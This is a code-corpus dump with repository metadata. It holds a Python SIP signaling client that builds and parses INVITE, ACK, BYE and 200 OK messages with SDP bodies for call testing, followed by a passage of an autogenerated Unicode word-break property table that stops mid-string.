0.010563

0

0.088028

0

null

0

1

0

1

0

null

0

7

fc45ebb698383b9dee1e354e8a347bdb6581be12

13,377

py

Python

sip/sip.py

obnauticus/tandbergProxy

543580ec6d14422a030014437dfe38093851e645

[ "Apache-2.0" ]

null

sip/sip.py

obnauticus/tandbergProxy

543580ec6d14422a030014437dfe38093851e645

[ "Apache-2.0" ]

null

sip/sip.py

obnauticus/tandbergProxy

543580ec6d14422a030014437dfe38093851e645

[ "Apache-2.0" ]

null

import transport import uuid def response_sdp(params): text = '''v=0 o=qumu 166 2 IN IP4 {local_ip} s=- c=IN IP4 {local_ip} t=0 0 m=audio 65066 RTP/AVP 0 101 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-15 m=video 53146 RTP/AVP 126 a=label:11 a=rtpmap:126 H264/90000 a=fmtp:126 profile-level-id=42E014;packetization-mode=1;max-mbps=108000;max-fs=3600;max-cpb=100;max-dpb=5400;max-br=2500;max-rcmd-nalu-size=196608;max-fps=6000 a=content:main m=video 0 RTP/AVP 31 34 96 97 a=rtpmap:97 H264/90000 a=content:slides a=inactive m=application 0 UDP/BFCP * c=IN IP4 0.0.0.0 '''.format(local_ip=params['lh']) return text.replace('\n', '\r\n') def response_sdp2(params): text = '''v=0 o=qumu 166 2 IN IP4 {local_ip} s=- c=IN IP4 {local_ip} t=0 0 m=audio 65066 RTP/AVP 0 101 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-15 m=video 53146 RTP/AVP 126 a=label:11 a=rtpmap:126 H264/90000 a=fmtp:126 profile-level-id=42E014;packetization-mode=1;max-mbps=108000;max-fs=3600;max-cpb=100;max-dpb=5400;max-br=2500;max-rcmd-nalu-size=196608;max-fps=6000 a=content:main m=video 0 RTP/AVP 31 34 96 97 a=rtpmap:97 H264/90000 a=content:slides a=inactive m=application 0 UDP/BFCP * c=IN IP4 0.0.0.0 m=application 55522 RTP/AVP 100 a=rtpmap:100 H224/4800 '''.format(local_ip=params['lh']) return text.replace('\n', '\r\n') def sdp(params): sdp_text = '''v=0 o=qumu 166 2 IN IP4 {local_ip} s=- c=IN IP4 {local_ip} b=AS:512 t=0 0 m=audio {audio_port} RTP/AVP 9 a=rtpmap:9 G722/8000 m=video {video_port} RTP/AVP 126 97 a=rtpmap:126 H264/90000 a=fmtp:126 profile-level-id=42e014;max-mbps=47700;max-fs=1590;max-dpb=2385;max-fps=6000;packetization-mode=1;max-rcmd-nalu-size=196608 a=rtpmap:97 H264/90000 a=fmtp:97 profile-level-id=42e014;max-mbps=47700;max-fs=1590;max-dpb=2385;max-fps=6000;max-rcmd-nalu-size=196608 '''.format(local_ip=params['lh'], audio_port=10000, video_port=10002) return sdp_text.replace('\n', '\r\n') def sdp2(params): sdp_text = '''v=0 o=qumu 166 2 IN IP4 {local_ip} s=- c=IN IP4 {local_ip} b=AS:512 t=0 0 m=audio {audio_port} RTP/AVP 9 a=rtpmap:9 G722/8000 m=video {video_port} RTP/AVP 126 97 a=rtpmap:126 H264/90000 a=fmtp:126 profile-level-id=42e014;max-mbps=47700;max-fs=1590;max-dpb=2385;max-fps=6000;packetization-mode=1;max-rcmd-nalu-size=196608 a=rtpmap:97 H264/90000 a=fmtp:97 profile-level-id=42e014;max-mbps=47700;max-fs=1590;max-dpb=2385;max-fps=6000;max-rcmd-nalu-size=196608 m=application 55522 RTP/AVP 100 a=rtpmap:100 H224/4800 '''.format(local_ip=params['lh'], audio_port=10000, video_port=10002) return sdp_text.replace('\n', '\r\n') def increment_seq(params): if not 'seq' in params: params['seq']=0 params['seq']=params['seq']+1 return params['seq'] def create_invite(params, sdp): params['branch']='z9hG4bK{}'.format(uuid.uuid4()) params['local_tag']=uuid.uuid4() params['call_id']=uuid.uuid4() tag = '' seq = increment_seq(params) if 'peer_tag' in params: tag = ';tag={}'.format(params['peer_tag']) text = '''INVITE sip:{alias}@{rh}:{rp} SIP/2.0 Via: SIP/2.0/{transport} {lh}:{lp};branch={branch} From: test <sip:test@{lh}:{lp}>;tag={local_tag} To: sut <sip:{alias}@{rh}:{rp}>{tag_param} Call-ID: {call_id} CSeq: {seq} INVITE Contact: sip:test@{lh}:{lp} Max-Forwards: 70 Subject: Performance Test Content-Type: application/sdp Content-Length: {content_length} {sdp_text}'''.replace('\n', '\r\n').format(alias=params['alias'], rh=params['rh'], rp=params['rp'], transport=params['transport'], branch=params['branch'], local_tag=params['local_tag'], tag_param=tag, call_id=params['call_id'], seq=params['seq'], lh=params['lh'], lp=params['lp'], content_length=len(sdp), sdp_text=sdp) return text def create_ack(params): params['branch']='z9hG4bK{}'.format(uuid.uuid4()) ack = '''ACK sip:{rh}:{rp} SIP/2.0 Via: SIP/2.0/{transport} {lh}:{lp};branch={branch} From: test <sip:test@{lh}:{lp}>;tag={local_tag} To: sut <sip:{alias}@{rh}:{rp}>;tag={peer_tag} {call_id_header} CSeq: {seq} ACK Contact: sip:test@{lh}:{lp} Max-Forwards: 70 Content-Length: 0 '''.format(alias=params['alias'], rh=params['rh'], rp=params['rp'], transport=params['transport'], branch=params['branch'], local_tag=params['local_tag'], peer_tag=params['peer_tag'], call_id_header=params["Call-ID"], seq=params['seq'], lh=params['lh'], lp=params['lp']) return ack.replace('\n', '\r\n') def create_bye(params): params['branch']='z9hG4bK{}'.format(uuid.uuid4()) increment_seq(params) bye = '''BYE sip:{rh}:{rp} SIP/2.0 Via: SIP/2.0/{transport} {lh}:{lp};branch={branch} From: test <sip:test@{lh}:{lp}>;tag={local_tag} To: sut <sip:{alias}@{rh}:{rp}>;tag={peer_tag} Call-ID: {call_id} CSeq: {seq} BYE Contact: sip:test@{lh}:{lp} Max-Forwards: 70 Content-Length: 0 '''.format(alias=params['alias'], rh=params['rh'], rp=params['rp'], transport=params['transport'], branch=params['branch'], local_tag=params['local_tag'], peer_tag=params['peer_tag'], call_id=params['call_id'], seq=params['seq'], lh=params['lh'], lp=params['lp']) return bye.replace('\n', '\r\n') def parse_message(message): parts = message.split('\r\n\r\n') headers = parts[0].split('\r\n') sdp = None if len(parts) > 1: sdp = parts[1] return (headers, sdp) def parse_response(message): return parse_message(message) def get_status(headers): return int(headers[0].split()[1]) def get_tag(headers, header): for h in headers: if header in h: parameters = h.split(';') for p in parameters: if 'tag=' in p: return p[4:].rstrip() return None def get_parameter(header, name): parameters = header.split(';') name = '{}='.format(name) for p in parameters: if name in p: return p[len(name):].rstrip() return None def get_header(headers, name): for h in headers: if name in h: return h return None def send_invite(params): i = create_invite(params, sdp(params)) print("sent=============>") print(i.replace('\r\n', '\n')) transport.open_socket(params) transport.send_tcp(params, i) def send_re_invite(params, sdp): i = create_re_invite(params, sdp) print("sent=============>") print(i.replace('\r\n', '\n')) transport.send_tcp(params, i) def get_invite_response(params): r = transport.recv_tcp(params) print("<=============recv") print(r.replace('\r\n', '\n')) res= parse_response(r) headers = res[0] status = get_status(headers) params['Call-ID'] = get_header(headers, 'Call-ID') if (status == 200): params['peer_tag'] = get_tag(headers, 'To:') while (status < 200): r = transport.recv_tcp(params) print("<=============recv") print(r.replace('\r\n', '\n')) res= parse_response(r) headers = res[0] status = get_status(headers) print (status) if (status == 200): params['peer_tag'] = get_tag(headers, 'To:') return (status, headers, res[1]) def send_ack(params): a = create_ack(params) print("sent=============>") print(a.replace('\r\n', '\n')) transport.send_tcp(params, a) def send_bye(params): b = create_bye(params) print("sent======>") print(b.replace('\r\n', '\n')) transport.send_tcp(params, b) r = transport.recv_tcp(params) print("<=============recv") print(r.replace('\r\n', '\n')) transport.close_socket(params) def create_re_invite(params, sdp): params['branch']='z9hG4bK{}'.format(uuid.uuid4()) increment_seq(params) from_text = 'From: {}'.format(params['To'][4:]) to_text = 'To: {}'.format(params['From'][6:]) params["From"] = from_text params["To"] = to_text text = '''INVITE sip:{alias}@{rh}:{rp} SIP/2.0 Via: SIP/2.0/{transport} {lh}:{lp};branch={branch} {from_header} {to_header} {call_id_header} CSeq: {seq} INVITE Contact: sip:test@{lh}:{lp} Max-Forwards: 70 Content-Type: application/sdp Content-Length: {content_length} {sdp_text}'''.replace('\n', '\r\n').format(alias=params['alias'], rh=params['rh'], rp=params['rp'], transport=params['transport'], branch=params['branch'], from_header=params["From"], to_header=params["To"], call_id_header=params["Call-ID"], seq=params['seq'], lh=params['lh'], lp=params['lp'], content_length=len(sdp), sdp_text=sdp) return text def create_invite_response(params, headers): seq = int(get_header(headers, "CSeq").split()[1].strip()) params['seq'] = seq params['branch'] = get_parameter(get_header(headers, "Via"), 'branch') params['local_tag'] = uuid.uuid4() params['From']=get_header(headers, "From") params['peer_tag'] = get_tag(headers, 'From:') params['Call-ID']=get_header(headers, "Call-ID") if not 'local_tag' in params: params['local_tag']=uuid.uuid4() tag = ';tag={}'.format(params['local_tag']) params['To']="{}{}".format(get_header(headers, "To"), tag) sdp = response_sdp(params) text = '''SIP/2.0 200 OK Via: SIP/2.0/{transport} {lh}:{lp};branch={branch} {from_header} {to_header} {call_id_header} {cseq_header} Contact: sip:test@{lh}:{lp} Content-Type: application/sdp Content-Length: {content_length} {sdp_text}'''.replace('\n', '\r\n').format(transport=params['transport'], branch=params['branch'], tag_param=tag, lh=params['lh'], lp=params['lp'], from_header=params["From"], to_header=params["To"], call_id_header=params["Call-ID"], cseq_header=get_header(headers, "CSeq"), content_length=len(sdp), sdp_text=sdp) return text def create_bye_response(params, headers): seq = int(get_header(headers, "CSeq").split()[1].strip()) params['seq'] = seq params['branch'] = get_parameter(get_header(headers, "Via"), 'branch') params['local_tag'] = uuid.uuid4() params['From']=get_header(headers, "From") params['peer_tag'] = get_tag(headers, 'From:') params['Call-ID']=get_header(headers, "Call-ID") if not 'local_tag' in params: params['local_tag']=uuid.uuid4() tag = ';tag={}'.format(params['local_tag']) params['To']="{}{}".format(get_header(headers, "To"), tag) sdp = response_sdp(params) text = '''SIP/2.0 200 OK Via: SIP/2.0/{transport} {lh}:{lp};branch={branch} {from_header} {to_header} {call_id_header} {cseq_header} Contact: sip:test@{lh}:{lp} Content-Length: 0 '''.replace('\n', '\r\n').format(transport=params['transport'], branch=params['branch'], tag_param=tag, lh=params['lh'], lp=params['lp'], from_header=params["From"], to_header=params["To"], call_id_header=params["Call-ID"], cseq_header=get_header(headers, "CSeq"), content_length=len(sdp), sdp_text=sdp) return text

33.695214

160

0.525604

1,738

13,377

3.940161

0.095512

0.023657

0.03271

0.014603

0.853096

0.820678

0.808411

0.801694

0.79045

0.751022

0

0.065274

0.309412

13,377

396

161

33.780303

0.676012

0

0.770115

0

0.017241

0.351206

0.089053

0

1

0.063218

false

0

0.005747

0.12931

0.043103

0

null

0

1

0

1

0

null

0

7

5d7ebfd5a70ef35bf7c5864fd71abe8ac4baf303

34,977

py

Python

Sublime Text 3/Backup/20210122193107/backrefs/st3/backrefs/uniprops/unidata/wordbreak.py

anekeallen/Sublime-Text-3

8502b9089ca4223f8ba7ff168626a0dbe67713cb

[ "MIT" ]

182

2017-03-05T07:43:13.000Z

2022-03-15T13:09:07.000Z

Sublime Text 3/Backup/20210122193107/backrefs/st3/backrefs/uniprops/unidata/wordbreak.py

anekeallen/Sublime-Text-3

8502b9089ca4223f8ba7ff168626a0dbe67713cb

[ "MIT" ]

3

2021-05-10T18:59:14.000Z

2021-09-02T01:50:15.000Z

Sublime Text 3/Backup/20210122193107/backrefs/st3/backrefs/uniprops/unidata/wordbreak.py

anekeallen/Sublime-Text-3

8502b9089ca4223f8ba7ff168626a0dbe67713cb

[ "MIT" ]

16

2017-03-07T11:01:27.000Z

2022-01-08T09:21:01.000Z

"""Unicode Properties from Unicode version 6.1.0 (autogen).""" from __future__ import unicode_literals unicode_word_break = { "^aletter": "\x00-\x40\x5c\x5b-\x60\x7b-\xa9\xab-\xb4\xb6-\xb9\xbb-\xbf\xd7\xf7\u02c2-\u02c5\u02d2-\u02df\u02e5-\u02eb\u02ed\u02ef-\u036f\u0375\u0378-\u0379\u037e-\u0385\u0387\u038b\u038d\u03a2\u03f6\u0482-\u0489\u0528-\u0530\u0557-\u0558\u055a-\u0560\u0588-\u05cf\u05eb-\u05ef\u05f4-\u061f\u064b-\u066d\u0670\u06d4\u06d6-\u06e4\u06e7-\u06ed\u06f0-\u06f9\u06fd-\u06fe\u0700-\u070f\u0711\u0730-\u074c\u07a6-\u07b0\u07b2-\u07c9\u07eb-\u07f3\u07f6-\u07f9\u07fb-\u07ff\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u083f\u0859-\u089f\u08a1\u08ad-\u0903\u093a-\u093c\u093e-\u094f\u0951-\u0957\u0962-\u0970\u0978\u0980-\u0984\u098d-\u098e\u0991-\u0992\u09a9\u09b1\u09b3-\u09b5\u09ba-\u09bc\u09be-\u09cd\u09cf-\u09db\u09de\u09e2-\u09ef\u09f2-\u0a04\u0a0b-\u0a0e\u0a11-\u0a12\u0a29\u0a31\u0a34\u0a37\u0a3a-\u0a58\u0a5d\u0a5f-\u0a71\u0a75-\u0a84\u0a8e\u0a92\u0aa9\u0ab1\u0ab4\u0aba-\u0abc\u0abe-\u0acf\u0ad1-\u0adf\u0ae2-\u0b04\u0b0d-\u0b0e\u0b11-\u0b12\u0b29\u0b31\u0b34\u0b3a-\u0b3c\u0b3e-\u0b5b\u0b5e\u0b62-\u0b70\u0b72-\u0b82\u0b84\u0b8b-\u0b8d\u0b91\u0b96-\u0b98\u0b9b\u0b9d\u0ba0-\u0ba2\u0ba5-\u0ba7\u0bab-\u0bad\u0bba-\u0bcf\u0bd1-\u0c04\u0c0d\u0c11\u0c29\u0c34\u0c3a-\u0c3c\u0c3e-\u0c57\u0c5a-\u0c5f\u0c62-\u0c84\u0c8d\u0c91\u0ca9\u0cb4\u0cba-\u0cbc\u0cbe-\u0cdd\u0cdf\u0ce2-\u0cf0\u0cf3-\u0d04\u0d0d\u0d11\u0d3b-\u0d3c\u0d3e-\u0d4d\u0d4f-\u0d5f\u0d62-\u0d79\u0d80-\u0d84\u0d97-\u0d99\u0db2\u0dbc\u0dbe-\u0dbf\u0dc7-\u0eff\u0f01-\u0f3f\u0f48\u0f6d-\u0f87\u0f8d-\u109f\u10c6\u10c8-\u10cc\u10ce-\u10cf\u10fb\u1249\u124e-\u124f\u1257\u1259\u125e-\u125f\u1289\u128e-\u128f\u12b1\u12b6-\u12b7\u12bf\u12c1\u12c6-\u12c7\u12d7\u1311\u1316-\u1317\u135b-\u137f\u1390-\u139f\u13f5-\u1400\u166d-\u166e\u1680\u169b-\u169f\u16eb-\u16ed\u16f1-\u16ff\u170d\u1712-\u171f\u1732-\u173f\u1752-\u175f\u176d\u1771-\u181f\u1878-\u187f\u18a9\u18ab-\u18af\u18f6-\u18ff\u191d-\u19ff\u1a17-\u1b04\u1b34-\u1b44\u1b4c-\u1b82\u1ba1-\u1bad\u1bb0-\u1bb9\u1be6-\u1bff\u1c24-\u1c4c\u1c50-\u1c59\u1c7e-\u1ce8\u1ced\u1cf2-\u1cf4\u1cf7-\u1cff\u1dc0-\u1dff\u1f16-\u1f17\u1f1e-\u1f1f\u1f46-\u1f47\u1f4e-\u1f4f\u1f58\u1f5a\u1f5c\u1f5e\u1f7e-\u1f7f\u1fb5\u1fbd\u1fbf-\u1fc1\u1fc5\u1fcd-\u1fcf\u1fd4-\u1fd5\u1fdc-\u1fdf\u1fed-\u1ff1\u1ff5\u1ffd-\u2070\u2072-\u207e\u2080-\u208f\u209d-\u2101\u2103-\u2106\u2108-\u2109\u2114\u2116-\u2118\u211e-\u2123\u2125\u2127\u2129\u212e\u213a-\u213b\u2140-\u2144\u214a-\u214d\u214f-\u215f\u2189-\u24b5\u24ea-\u2bff\u2c2f\u2c5f\u2ce5-\u2cea\u2cef-\u2cf1\u2cf4-\u2cff\u2d26\u2d28-\u2d2c\u2d2e-\u2d2f\u2d68-\u2d6e\u2d70-\u2d7f\u2d97-\u2d9f\u2da7\u2daf\u2db7\u2dbf\u2dc7\u2dcf\u2dd7\u2ddf-\u2e2e\u2e30-\u3004\u3006-\u303a\u303d-\u3104\u312e-\u3130\u318f-\u319f\u31bb-\u9fff\ua48d-\ua4cf\ua4fe-\ua4ff\ua60d-\ua60f\ua620-\ua629\ua62c-\ua63f\ua66f-\ua67e\ua698-\ua69f\ua6f0-\ua716\ua720-\ua721\ua789-\ua78a\ua78f\ua794-\ua79f\ua7ab-\ua7f7\ua802\ua806\ua80b\ua823-\ua83f\ua874-\ua881\ua8b4-\ua8f1\ua8f8-\ua8fa\ua8fc-\ua909\ua926-\ua92f\ua947-\ua95f\ua97d-\ua983\ua9b3-\ua9ce\ua9d0-\ua9ff\uaa29-\uaa3f\uaa43\uaa4c-\uaadf\uaaeb-\uaaf1\uaaf5-\uab00\uab07-\uab08\uab0f-\uab10\uab17-\uab1f\uab27\uab2f-\uabbf\uabe3-\uabff\ud7a4-\ud7af\ud7c7-\ud7ca\ud7fc-\ufaff\ufb07-\ufb12\ufb18-\ufb1c\ufb1e\ufb29\ufb37\ufb3d\ufb3f\ufb42\ufb45\ufbb2-\ufbd2\ufd3e-\ufd4f\ufd90-\ufd91\ufdc8-\ufdef\ufdfc-\ufe6f\ufe75\ufefd-\uff20\uff3b-\uff40\uff5b-\uff9f\uffbf-\uffc1\uffc8-\uffc9\uffd0-\uffd1\uffd8-\uffd9\uffdd-\uffff\U0001000c\U00010027\U0001003b\U0001003e\U0001004e-\U0001004f\U0001005e-\U0001007f\U000100fb-\U0001013f\U00010175-\U0001027f\U0001029d-\U0001029f\U000102d1-\U000102ff\U0001031f-\U0001032f\U0001034b-\U0001037f\U0001039e-\U0001039f\U000103c4-\U000103c7\U000103d0\U000103d6-\U000103ff\U0001049e-\U000107ff\U00010806-\U00010807\U00010809\U00010836\U00010839-\U0001083b\U0001083d-\U0001083e\U00010856-\U000108ff\U00010916-\U0001091f\U0001093a-\U0001097f\U000109b8-\U000109bd\U000109c0-\U000109ff\U00010a01-\U00010a0f\U00010a14\U00010a18\U00010a34-\U00010a5f\U00010a7d-\U00010aff\U00010b36-\U00010b3f\U00010b56-\U00010b5f\U00010b73-\U00010bff\U00010c49-\U00011002\U00011038-\U00011082\U000110b0-\U000110cf\U000110e9-\U00011102\U00011127-\U00011182\U000111b3-\U000111c0\U000111c5-\U0001167f\U000116ab-\U00011fff\U0001236f-\U000123ff\U00012463-\U00012fff\U0001342f-\U000167ff\U00016a39-\U00016eff\U00016f45-\U00016f4f\U00016f51-\U00016f92\U00016fa0-\U0001d3ff\U0001d455\U0001d49d\U0001d4a0-\U0001d4a1\U0001d4a3-\U0001d4a4\U0001d4a7-\U0001d4a8\U0001d4ad\U0001d4ba\U0001d4bc\U0001d4c4\U0001d506\U0001d50b-\U0001d50c\U0001d515\U0001d51d\U0001d53a\U0001d53f\U0001d545\U0001d547-\U0001d549\U0001d551\U0001d6a6-\U0001d6a7\U0001d6c1\U0001d6db\U0001d6fb\U0001d715\U0001d735\U0001d74f\U0001d76f\U0001d789\U0001d7a9\U0001d7c3\U0001d7cc-\U0001edff\U0001ee04\U0001ee20\U0001ee23\U0001ee25-\U0001ee26\U0001ee28\U0001ee33\U0001ee38\U0001ee3a\U0001ee3c-\U0001ee41\U0001ee43-\U0001ee46\U0001ee48\U0001ee4a\U0001ee4c\U0001ee50\U0001ee53\U0001ee55-\U0001ee56\U0001ee58\U0001ee5a\U0001ee5c\U0001ee5e\U0001ee60\U0001ee63\U0001ee65-\U0001ee66\U0001ee6b\U0001ee73\U0001ee78\U0001ee7d\U0001ee7f\U0001ee8a\U0001ee9c-\U0001eea0\U0001eea4\U0001eeaa\U0001eebc-\U0010ffff", "^cr": "\x00-\x0c\x0e-\U0010ffff", "^extend": "\x00-\u02ff\u0370-\u0482\u048a-\u0590\u05be\u05c0\u05c3\u05c6\u05c8-\u060f\u061b-\u064a\u0660-\u066f\u0671-\u06d5\u06dd-\u06de\u06e5-\u06e6\u06e9\u06ee-\u0710\u0712-\u072f\u074b-\u07a5\u07b1-\u07ea\u07f4-\u0815\u081a\u0824\u0828\u082e-\u0858\u085c-\u08e3\u08ff\u0904-\u0939\u093d\u0950\u0958-\u0961\u0964-\u0980\u0984-\u09bb\u09bd\u09c5-\u09c6\u09c9-\u09ca\u09ce-\u09d6\u09d8-\u09e1\u09e4-\u0a00\u0a04-\u0a3b\u0a3d\u0a43-\u0a46\u0a49-\u0a4a\u0a4e-\u0a50\u0a52-\u0a6f\u0a72-\u0a74\u0a76-\u0a80\u0a84-\u0abb\u0abd\u0ac6\u0aca\u0ace-\u0ae1\u0ae4-\u0b00\u0b04-\u0b3b\u0b3d\u0b45-\u0b46\u0b49-\u0b4a\u0b4e-\u0b55\u0b58-\u0b61\u0b64-\u0b81\u0b83-\u0bbd\u0bc3-\u0bc5\u0bc9\u0bce-\u0bd6\u0bd8-\u0c00\u0c04-\u0c3d\u0c45\u0c49\u0c4e-\u0c54\u0c57-\u0c61\u0c64-\u0c81\u0c84-\u0cbb\u0cbd\u0cc5\u0cc9\u0cce-\u0cd4\u0cd7-\u0ce1\u0ce4-\u0d01\u0d04-\u0d3d\u0d45\u0d49\u0d4e-\u0d56\u0d58-\u0d61\u0d64-\u0d81\u0d84-\u0dc9\u0dcb-\u0dce\u0dd5\u0dd7\u0de0-\u0df1\u0df4-\u0e30\u0e32-\u0e33\u0e3b-\u0e46\u0e4f-\u0eb0\u0eb2-\u0eb3\u0eba\u0ebd-\u0ec7\u0ece-\u0f17\u0f1a-\u0f34\u0f36\u0f38\u0f3a-\u0f3d\u0f40-\u0f70\u0f85\u0f88-\u0f8c\u0f98\u0fbd-\u0fc5\u0fc7-\u102a\u103f-\u1055\u105a-\u105d\u1061\u1065-\u1066\u106e-\u1070\u1075-\u1081\u108e\u1090-\u1099\u109e-\u135c\u1360-\u1711\u1715-\u1731\u1735-\u1751\u1754-\u1771\u1774-\u17b3\u17d4-\u17dc\u17de-\u180a\u180e-\u18a8\u18aa-\u191f\u192c-\u192f\u193c-\u19af\u19c1-\u19c7\u19ca-\u1a16\u1a1c-\u1a54\u1a5f\u1a7d-\u1a7e\u1a80-\u1aff\u1b05-\u1b33\u1b45-\u1b6a\u1b74-\u1b7f\u1b83-\u1ba0\u1bae-\u1be5\u1bf4-\u1c23\u1c38-\u1ccf\u1cd3\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5-\u1dbf\u1de7-\u1dfb\u1e00-\u200b\u200e-\u20cf\u20f1-\u2cee\u2cf2-\u2d7e\u2d80-\u2ddf\u2e00-\u3029\u3030-\u3098\u309b-\ua66e\ua673\ua67e-\ua69e\ua6a0-\ua6ef\ua6f2-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua828-\ua87f\ua882-\ua8b3\ua8c5-\ua8df\ua8f2-\ua925\ua92e-\ua946\ua954-\ua97f\ua984-\ua9b2\ua9c1-\uaa28\uaa37-\uaa42\uaa44-\uaa4b\uaa4e-\uaa7a\uaa7c-\uaaaf\uaab1\uaab5-\uaab6\uaab9-\uaabd\uaac0\uaac2-\uaaea\uaaf0-\uaaf4\uaaf7-\uabe2\uabeb\uabee-\ufb1d\ufb1f-\ufdff\ufe10-\ufe1f\ufe27-\uff9d\uffa0-\U000101fc\U000101fe-\U00010a00\U00010a04\U00010a07-\U00010a0b\U00010a10-\U00010a37\U00010a3b-\U00010a3e\U00010a40-\U00010fff\U00011003-\U00011037\U00011047-\U0001107f\U00011083-\U000110af\U000110bb-\U000110ff\U00011103-\U00011126\U00011135-\U0001117f\U00011183-\U000111b2\U000111c1-\U000116aa\U000116b8-\U00016f50\U00016f7f-\U00016f8e\U00016f93-\U0001d164\U0001d16a-\U0001d16c\U0001d173-\U0001d17a\U0001d183-\U0001d184\U0001d18c-\U0001d1a9\U0001d1ae-\U0001d241\U0001d245-\U000e00ff\U000e01f0-\U0010ffff", "^extendnumlet": "\x00-\x5c\x5e\x60-\u203e\u2041-\u2053\u2055-\ufe32\ufe35-\ufe4c\ufe50-\uff3e\uff40-\U0010ffff", "^format": "\x00-\xac\xae-\u05ff\u0605-\u06dc\u06de-\u070e\u0710-\u200d\u2010-\u2029\u202f-\u205f\u2065-\u2069\u2070-\ufefe\uff00-\ufff8\ufffc-\U000110bc\U000110be-\U0001d172\U0001d17b-\U000e0000\U000e0002-\U000e001f\U000e0080-\U0010ffff", "^katakana": "\x00-\u3030\u3036-\u309a\u309d-\u309f\u30fb\u3100-\u31ef\u3200-\u32cf\u32ff\u3358-\uff65\uff9e-\U0001afff\U0001b001-\U0010ffff", "^lf": "\x00-\x09\x0b-\U0010ffff", "^midletter": "\x00-\x39\x3b-\xb6\xb8-\u0386\u0388-\u05f3\u05f5-\u2026\u2028-\ufe12\ufe14-\ufe54\ufe56-\uff19\uff1b-\U0010ffff", "^midnum": "\x00-\x2b\x5c\x2d-\x3a\x3c-\u037d\u037f-\u0588\u058a-\u060b\u060e-\u066b\u066d-\u07f7\u07f9-\u2043\u2045-\ufe0f\ufe11-\ufe13\ufe15-\ufe4f\ufe51-\ufe53\ufe55-\uff0b\uff0d-\uff1a\uff1c-\U0010ffff", "^midnumlet": "\x00-\x5c\x26\x28-\x5c\x2d\x2f-\u2017\u201a-\u2023\u2025-\ufe51\ufe53-\uff06\uff08-\uff0d\uff0f-\U0010ffff", "^newline": "\x00-\x0a\x0d-\x84\x86-\u2027\u202a-\U0010ffff", "^numeric": "\x00-\x2f\x3a-\u065f\u066a\u066c-\u06ef\u06fa-\u07bf\u07ca-\u0965\u0970-\u09e5\u09f0-\u0a65\u0a70-\u0ae5\u0af0-\u0b65\u0b70-\u0be5\u0bf0-\u0c65\u0c70-\u0ce5\u0cf0-\u0d65\u0d70-\u0e4f\u0e5a-\u0ecf\u0eda-\u0f1f\u0f2a-\u103f\u104a-\u108f\u109a-\u17df\u17ea-\u180f\u181a-\u1945\u1950-\u19cf\u19da-\u1a7f\u1a8a-\u1a8f\u1a9a-\u1b4f\u1b5a-\u1baf\u1bba-\u1c3f\u1c4a-\u1c4f\u1c5a-\ua61f\ua62a-\ua8cf\ua8da-\ua8ff\ua90a-\ua9cf\ua9da-\uaa4f\uaa5a-\uabef\uabfa-\U0001049f\U000104aa-\U00011065\U00011070-\U000110ef\U000110fa-\U00011135\U00011140-\U000111cf\U000111da-\U000116bf\U000116ca-\U0001d7cd\U0001d800-\U0010ffff", "^other": "\x0a-\x0d\x27\x2c\x2e\x30-\x3b\x41-\x5a\x5f\x61-\x7a\x85\xaa\xad\xb5\xb7\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0300-\u0374\u0376-\u0377\u037a-\u037e\u0386-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u0483-\u0527\u0531-\u0556\u0559\u0561-\u0587\u0589\u0591-\u05bd\u05bf\u05c1-\u05c2\u05c4-\u05c5\u05c7\u05d0-\u05ea\u05f0-\u05f4\u0600-\u0604\u060c-\u060d\u0610-\u061a\u0620-\u0669\u066b-\u066c\u066e-\u06d3\u06d5-\u06dd\u06df-\u06e8\u06ea-\u06fc\u06ff\u070f-\u074a\u074d-\u07b1\u07c0-\u07f5\u07f8\u07fa\u0800-\u082d\u0840-\u085b\u08a0\u08a2-\u08ac\u08e4-\u08fe\u0900-\u0963\u0966-\u096f\u0971-\u0977\u0979-\u097f\u0981-\u0983\u0985-\u098c\u098f-\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bc-\u09c4\u09c7-\u09c8\u09cb-\u09ce\u09d7\u09dc-\u09dd\u09df-\u09e3\u09e6-\u09f1\u0a01-\u0a03\u0a05-\u0a0a\u0a0f-\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32-\u0a33\u0a35-\u0a36\u0a38-\u0a39\u0a3c\u0a3e-\u0a42\u0a47-\u0a48\u0a4b-\u0a4d\u0a51\u0a59-\u0a5c\u0a5e\u0a66-\u0a75\u0a81-\u0a83\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2-\u0ab3\u0ab5-\u0ab9\u0abc-\u0ac5\u0ac7-\u0ac9\u0acb-\u0acd\u0ad0\u0ae0-\u0ae3\u0ae6-\u0aef\u0b01-\u0b03\u0b05-\u0b0c\u0b0f-\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32-\u0b33\u0b35-\u0b39\u0b3c-\u0b44\u0b47-\u0b48\u0b4b-\u0b4d\u0b56-\u0b57\u0b5c-\u0b5d\u0b5f-\u0b63\u0b66-\u0b6f\u0b71\u0b82-\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99-\u0b9a\u0b9c\u0b9e-\u0b9f\u0ba3-\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bbe-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcd\u0bd0\u0bd7\u0be6-\u0bef\u0c01-\u0c03\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d-\u0c44\u0c46-\u0c48\u0c4a-\u0c4d\u0c55-\u0c56\u0c58-\u0c59\u0c60-\u0c63\u0c66-\u0c6f\u0c82-\u0c83\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbc-\u0cc4\u0cc6-\u0cc8\u0cca-\u0ccd\u0cd5-\u0cd6\u0cde\u0ce0-\u0ce3\u0ce6-\u0cef\u0cf1-\u0cf2\u0d02-\u0d03\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d-\u0d44\u0d46-\u0d48\u0d4a-\u0d4e\u0d57\u0